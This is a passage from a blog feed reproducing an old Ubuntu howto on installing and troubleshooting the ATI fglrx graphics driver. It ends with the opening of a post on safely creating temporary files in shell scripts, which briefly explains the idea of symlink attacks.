id=&quot;line-196&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-197&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;fglrxinfo&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-198&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-199&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line874&quot;&gt;You should get output similiar to the following: &lt;span class=&quot;anchor&quot; id=&quot;line-200&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-201&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-202&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-203&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-204&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-205&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-206&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;display: :0.0  screen: 0&lt;br /&gt;OpenGL vendor string: ATI Technologies Inc.&lt;br /&gt;OpenGL renderer string: ATI Radeon HD 3870&lt;br /&gt;OpenGL version string: 2.1.7170 Release&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-207&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-208&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line874&quot;&gt;If you see any mention of the &quot;MESA&quot; in the output the drivers have not installed correctly. Look at instructions below for possible fixes. &lt;span class=&quot;anchor&quot; id=&quot;line-209&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-210&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt; &lt;/p&gt;&lt;h3 id=&quot;Instructions for 6.06 (Dapper)&quot;&gt;Instructions for 6.06 (Dapper)&lt;/h3&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-211&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-212&quot;&gt;&lt;/span&gt;&lt;ol type=&quot;1&quot;&gt;&lt;li&gt;&lt;p class=&quot;line862&quot;&gt;Download the apropiate drivers from &lt;a class=&quot;http&quot; href=&quot;http://www.ati.com/support/driver.html&quot;&gt;ati.com&lt;/a&gt;. You will need the ATI Driver Installer, not the seperate XFree86/X.org rpm packages. Save the installer into an empty directory (or at least one containing no *.deb files), since it will create several new files. &lt;span class=&quot;anchor&quot; id=&quot;line-213&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class=&quot;line862&quot;&gt;Make sure the universe section of the Ubuntu repositories is enabled (See the &lt;a href=&quot;https://help.ubuntu.com/community/AddingRepositoriesHowto&quot;&gt;AddingRepositoriesHowto&lt;/a&gt;) &lt;span class=&quot;anchor&quot; id=&quot;line-214&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class=&quot;line862&quot;&gt;Perform the following commands (where &lt;em&gt;&lt;version&gt;&lt;/em&gt; is the version number of the installer): &lt;span class=&quot;anchor&quot; id=&quot;line-215&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-216&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-217&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-218&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;$ sudo apt-get install fakeroot gcc-3.4 module-assistant build-essential debhelper&lt;br /&gt;$ fakeroot sh ./ati-driver-installer-&lt;version&gt;.run --buildpkg Ubuntu/edgy&lt;br /&gt;You may need to wait a few mintues for this to complete.&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-219&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p class=&quot;line874&quot;&gt;This will create a number of .deb files in the current directory. &lt;span class=&quot;anchor&quot; id=&quot;line-220&quot;&gt;&lt;/span&gt;note: If you run Dapper, replace &quot;edgy&quot; (above) with &quot;dapper&quot;. &lt;span class=&quot;anchor&quot; id=&quot;line-221&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-222&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-223&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-224&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-225&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-226&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-227&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-228&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-229&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;1 sudo dpkg -i *.deb&lt;br /&gt;2 sudo module-assistant prepare,update&lt;br /&gt;3 sudo module-assistant build,install fglrx-kernel&lt;br /&gt;4 sudo depmod&lt;br /&gt;note: You need to repeat steps 2-4 - building the kernel module -&lt;br /&gt;everytime you upgrade the kernel.&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-230&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-231&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line867&quot;&gt; &lt;/p&gt;&lt;h4 id=&quot;Seveas Repository&quot;&gt;Seveas Repository&lt;/h4&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-232&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-233&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line874&quot;&gt;You do not need to take all these steps if you run an up-to-date Dapper installation on a 32 bit system. Dennis Kaarsemaker provides these packages in a repository. Add the following line to /etc/apt/sources.list: &lt;span class=&quot;anchor&quot; id=&quot;line-234&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-235&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-236&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;deb http://mirror.ubuntulinux.nl/ dapper-seveas drivers&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-237&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-238&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line862&quot;&gt;Then you can simply install the ubuntu-fglrx-&lt;tt&gt;$arch&lt;/tt&gt; (see above for the meaning of &lt;tt&gt;$arch&lt;/tt&gt;) package. &lt;span class=&quot;anchor&quot; id=&quot;line-239&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-240&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt;&lt;img alt=&quot;/!\&quot; src=&quot;https://help.ubuntu.com/htdocs/ubuntunew/img/alert.png&quot; title=&quot;/!\&quot; height=&quot;15&quot; width=&quot;15&quot; /&gt; The fglrx driver on Dapper (8.26.18-1) can cause rss-glx screensavers to run very slowly. &lt;span class=&quot;anchor&quot; id=&quot;line-241&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-242&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-243&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt; &lt;/p&gt;&lt;h3 id=&quot;Modifying xorg.conf&quot;&gt;Modifying xorg.conf&lt;/h3&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-244&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-245&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line874&quot;&gt;When you install from ati.com drivers or the dapper-seveas repository, you still need to change xorg.conf and add the fglrx module to /etc/modules as described under &quot;Ubuntu provided drivers&quot;. There are scripts from ATI that may or may not work for you. They will backup xorg.conf before modifying it. &lt;span class=&quot;anchor&quot; id=&quot;line-246&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-247&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-248&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-249&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-250&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;$ sudo aticonfig --initial&lt;br /&gt;$ sudo aticonfig --overlay-type=Xv&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-251&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-252&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line867&quot;&gt;&lt;img alt=&quot;/!\&quot; src=&quot;https://help.ubuntu.com/htdocs/ubuntunew/img/alert.png&quot; title=&quot;/!\&quot; height=&quot;15&quot; width=&quot;15&quot; /&gt; Whether you install manually or from dapper-seveas, you MUST disable the Ubuntu-provided fglrx by performing these actions: &lt;span class=&quot;anchor&quot; id=&quot;line-253&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-254&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Disable fglrx in /etc/default/linux-restricted-modules-common &lt;span class=&quot;anchor&quot; id=&quot;line-255&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Run sudo /sbin/lrm-manager &lt;span class=&quot;anchor&quot; id=&quot;line-256&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Run sudo depmod -a &lt;span class=&quot;anchor&quot; id=&quot;line-257&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Reboot &lt;span class=&quot;anchor&quot; id=&quot;line-258&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-259&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;line862&quot;&gt;There is a &lt;a class=&quot;http&quot; href=&quot;http://ubuntuforums.org/showthread.php?t=204910&quot;&gt;forum thread&lt;/a&gt; on installing ATI drivers from ati.com. Look there if you have trouble, and if your problem isn&#39;t already solved there, post a question. &lt;span class=&quot;anchor&quot; id=&quot;line-260&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-261&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;line867&quot;&gt; &lt;/p&gt;&lt;h3 id=&quot;More Troubleshooting&quot;&gt;More Troubleshooting&lt;/h3&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-262&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-263&quot;&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;If after everything you still get indirect rendering when typing &quot;fglrxinfo&quot; run: &lt;span class=&quot;anchor&quot; id=&quot;line-264&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;line867&quot;&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-265&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-266&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;$ depmod -ae&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-267&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line874&quot;&gt;Now reboot and hope for the best. &lt;span class=&quot;anchor&quot; id=&quot;line-268&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-269&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;If you&#39;re using an AMD64 configuration and your Xorg.0.log mentions a &#39;duplicate symbol rol_long&#39; message, comment out the &#39;Load &quot;int10&quot;&#39; line in the Module section of /etc/X11/xorg.conf &lt;span class=&quot;anchor&quot; id=&quot;line-270&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-271&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;gap&quot;&gt;&lt;p class=&quot;line862&quot;&gt;If you are using an ATI Radeon Xpress 200M on an AMD64 CPU and the fglrx driver crashes with a blank screen on startup, change your BIOS settings to use the UMA+Sideport Video Mode with 128MB of Shared Video Memory. See &lt;a class=&quot;http&quot; href=&quot;http://ensode.net/ati_radeon_xpress_200m_linux.html&quot;&gt;http://ensode.net/ati_radeon_xpress_200m_linux.html&lt;/a&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-272&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-273&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li class=&quot;gap&quot;&gt;&lt;p class=&quot;line862&quot;&gt;If you are going to compile 3d applications, you will want to install the &lt;tt class=&quot;backtick&quot;&gt;fglrx-driver-dev&lt;/tt&gt; package &lt;span class=&quot;anchor&quot; id=&quot;line-274&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-275&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li class=&quot;gap&quot;&gt;The fglrx doesn&#39;t support 16 bit colour on some chip sets, if you have problems with X locking up on boot try setting this in your xorg.conf file to 24 &lt;span class=&quot;anchor&quot; id=&quot;line-276&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-277&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;gap&quot;&gt;&lt;p class=&quot;line862&quot;&gt;If you are having problems related to DRI or 3d acceleration and the following lines show up in your /var/log/Xorg.0.log &lt;span class=&quot;anchor&quot; id=&quot;line-278&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-279&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;(WW) fglrx(0): Kernel Module version does *not* match driver.&lt;br /&gt;(EE) fglrx(0): incompatible kernel module detected - HW accelerated OpenGL will not work&lt;/pre&gt;&lt;p class=&quot;line862&quot;&gt; then make sure you installed either linux-&lt;tt&gt;$arch&lt;/tt&gt; or ubuntu-fglrx-&lt;tt&gt;$arch&lt;/tt&gt;.&lt;span class=&quot;anchor&quot; id=&quot;line-280&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-281&quot;&gt;&lt;/span&gt;Another reason for either this error message, or incorrect driver information when running fglrxinfo (reports that the mesa driver is still being used) could be that the (K)Ubuntu fglrx drivers were not uninstalled before installing the ATI driver, or that the restricted-modules package is installed. &lt;span class=&quot;anchor&quot; id=&quot;line-282&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-283&quot;&gt;&lt;/span&gt;To fix this issue, start Adept or Synaptic and remove the fglrx packages supplied with (K)Ubuntu as well as the restricted-modules package. Quit KDE and go to a console. &lt;span class=&quot;anchor&quot; id=&quot;line-284&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;line867&quot;&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-285&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-286&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-287&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-288&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-289&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;$ sudo modprobe -r fglrx&lt;br /&gt;$ gksudo gedit /etc/X11/xorg.conf&lt;br /&gt;or&lt;br /&gt;$ kdesu kate /etc/X11/xorg.conf&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-290&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-291&quot;&gt;&lt;/span&gt;&lt;ul&gt;&lt;li style=&quot;list-style-type: none;&quot;&gt;Change the driver for the device to &#39;ati&#39; instead of fglrx to use the standard Xorg supplied driver. &lt;span class=&quot;anchor&quot; id=&quot;line-292&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;line867&quot;&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-293&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-294&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;$ startx&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-295&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-296&quot;&gt;&lt;/span&gt;&lt;ul&gt;&lt;li style=&quot;list-style-type: none;&quot;&gt;Now re-run the ATI driver installation &lt;span class=&quot;anchor&quot; id=&quot;line-297&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-298&quot;&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;gap&quot;&gt;&lt;p class=&quot;line862&quot;&gt;If there are no obvious error messages in &lt;tt&gt;Xorg.0.log&lt;/tt&gt; but 3D acceleration is still not working, you should look at &lt;tt&gt;glxinfo&lt;/tt&gt; output in debug mode: &lt;span class=&quot;anchor&quot; id=&quot;line-299&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;line867&quot;&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-300&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-301&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;LIBGL_DEBUG=verbose glxinfo&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-302&quot;&gt;&lt;/span&gt;&lt;ul&gt;&lt;li style=&quot;list-style-type: none;&quot;&gt;&lt;p class=&quot;line862&quot;&gt;Possibly there are some errors in the beginning concerning not found drivers in &lt;tt&gt;/usr/X11R6/lib/modules/dri/&lt;/tt&gt;. This could be the case if you used the driver from ATI and are now using again the provided fglrx driver. ATI&#39;s fglrx driver installs a script in &lt;tt&gt;/etc/X11/Xsession.d/10fglrx&lt;/tt&gt; which changes the search path for libraries, causing  3D-related errors. In this case just remove the script: &lt;span class=&quot;anchor&quot; id=&quot;line-303&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;line867&quot;&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-304&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-305&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;$ sudo rm /etc/X11/Xsession.d/10fglrx&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-306&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-307&quot;&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;p class=&quot;line862&quot;&gt;Sometimes 2D acceleration with xv is not enabled. You need this for smooth video playback among other things. In this case you should check if your &lt;tt&gt;/etc/X11/xorg.conf&lt;/tt&gt; contains the line &lt;tt&gt;Option &quot;VideoOverlay&quot; &quot;on&quot;&lt;/tt&gt; in the corresponding section: &lt;span class=&quot;anchor&quot; id=&quot;line-308&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;line867&quot;&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-309&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-310&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-311&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-312&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-313&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-314&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-315&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;Section &quot;Device&quot;&lt;br /&gt;       Identifier      &quot;ATI Radeon&quot;&lt;br /&gt;       Driver          &quot;fglrx&quot;&lt;br /&gt;       Option          &quot;VideoOverlay&quot; &quot;on&quot;&lt;br /&gt;       BusID           &quot;PCI:1:0:0&quot;&lt;br /&gt;EndSection&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-316&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-317&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line867&quot;&gt; &lt;/p&gt;&lt;h2 id=&quot;General Troubleshooting&quot;&gt;General Troubleshooting&lt;/h2&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-318&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-319&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line867&quot;&gt; &lt;/p&gt;&lt;h3 id=&quot;Video-out&quot;&gt;Video-out&lt;/h3&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-320&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-321&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line867&quot;&gt; &lt;/p&gt;&lt;h4 id=&quot;Black and White/Wrong Colours or Scrolling Picture&quot;&gt;Black and White/Wrong Colours or Scrolling Picture&lt;/h4&gt; &lt;span class=&quot;anchor&quot; id=&quot;line-322&quot;&gt;&lt;/span&gt;&lt;ul&gt;&lt;li style=&quot;list-style-type: none;&quot;&gt;If you are having issues with S-Video out where the video is incorrectly displayed (such as black and white or scrolling), try adding the line &lt;span class=&quot;anchor&quot; id=&quot;line-323&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-324&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-325&quot;&gt;&lt;/span&gt;&lt;pre&gt;        Option      &quot;TVFormat&quot; &quot;&lt;type&gt;&quot;&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-326&quot;&gt;&lt;/span&gt;&lt;p class=&quot;line862&quot;&gt;into the Device section that lists your monitor/TV, as the output to the TV might be set to PAL or another incompatible format for your region/TV. Replace the &lt;em&gt;&lt;type&gt;&lt;/em&gt; with the region specific video type. The TVFormat choices are: NTSC-JPN, NTSC-M, NTSC-N, PAL-B, PAL-CN, PAL-D, PAL-G, PAL-H, PAL-I, PAL-K, PAL-K1, PAL-L, PAL-N, PAL-M, PAL-SCART. &lt;span class=&quot;anchor&quot; id=&quot;line-327&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-328&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;line874&quot;&gt;Example:  &lt;span class=&quot;anchor&quot; id=&quot;line-329&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-330&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-331&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-332&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-333&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-334&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-335&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-336&quot;&gt;&lt;/span&gt;&lt;pre&gt;Section &quot;Device&quot;&lt;br /&gt;       Identifier  &quot;ATI Radeon 9600/X1050 (Screen 1)&quot;&lt;br /&gt;       Driver      &quot;fglrx&quot;&lt;br /&gt;       Option      &quot;TVFormat&quot; &quot;NTSC-M&quot; # NTSC-M is used in North America -- Canada/USA -- amoung other countries&lt;br /&gt;       BusID       &quot;PCI:2:0:0&quot;&lt;br /&gt;       Screen      1&lt;br /&gt;EndSection&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-337&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-338&quot;&gt;&lt;/span&gt;Don&#39;t forget that most older TVs use a standard resolution of 640x480, so it may be wise to force that resolution: &lt;span class=&quot;anchor&quot; id=&quot;line-339&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-340&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-341&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-342&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-343&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-344&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-345&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-346&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-347&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-348&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-349&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-350&quot;&gt;&lt;/span&gt;&lt;pre&gt;Section &quot;Screen&quot;&lt;br /&gt;       Identifier &quot;TV&quot;&lt;br /&gt;       Device     &quot;ATI Radeon 9600/X1050 (Screen 1)&quot;&lt;br /&gt;       Monitor    &quot;Toshiba 32in (Screen 1)&quot;&lt;br /&gt;       DefaultDepth     24&lt;br /&gt;       SubSection &quot;Display&quot;&lt;br /&gt;               Viewport   0 0&lt;br /&gt;               Depth     24&lt;br /&gt;               Modes    &quot;640x480&quot; # Force this standard resolution&lt;br /&gt;       EndSubSection&lt;br /&gt;EndSection&lt;/pre&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-351&quot;&gt;&lt;/span&gt;&lt;span class=&quot;anchor&quot; id=&quot;line-352&quot;&gt;&lt;/span&gt;More information about this issue is listed in the &lt;a class=&quot;http&quot; href=&quot;http://ubuntuforums.org/showthread.php?t=803724&quot;&gt;Ubuntu Forums&lt;/a&gt; and also through the &lt;a class=&quot;http&quot; href=&quot;http://www.mythtv.org/wiki/index.php/ATI_Proprietary_Driver&quot;&gt;MythTV Wiki&lt;/a&gt;. If you are unsure of your region, review this &lt;a class=&quot;http&quot; href=&quot;http://www.tenlab.com/tv-systems/tvsystems.htm&quot;&gt;region list&lt;/a&gt;. The &lt;a class=&quot;http&quot; href=&quot;http://www.linux-man-pages.org/man4/fglrx/&quot;&gt;fglrx man page&lt;/a&gt; might be useful as well.</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/5680273040590386437/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/5680273040590386437' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/5680273040590386437'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/5680273040590386437'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2009/12/ati-binary-driver-howto.html' title='ATI  : Binary Driver Howto'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-2033252629218350506</id><published>2009-11-26T23:22:00.000-08:00</published><updated>2009-11-26T23:23:08.351-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Safely Creating Temporary Files in Shell Scripts"/><title type='text'>Safely Creating Temporary Files in Shell Scripts</title><content type='html'>The basic idea of a symlink exploit is to predict where an application will create its temporary file and put a symbolic link (symlink) at that place. When the application now tries to work with a tempfile it will actually work with the file that the symlink points to. The most simplistic thing a (local) attacker can do with this is to have the symlink point to important files such as /bin/bash. This will cause the program (assuming it has root privileges) to overwrite /bin/bash with its temporary data, making the system unusable. . . . &lt;h2&gt;&lt;a name=&quot;mozTocId186872&quot; class=&quot;mozTocH2&quot;&gt;&lt;/a&gt;Safely Creating Temporary Files in Shell Scripts&lt;/h2&gt;&lt;br /&gt;&lt;ul id=&quot;mozToc&quot;&gt;&lt;li&gt;&lt;a href=&quot;http://www.linuxsecurity.com/content/view/115462/151/#mozTocId615082&quot;&gt;0. Abstract&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a 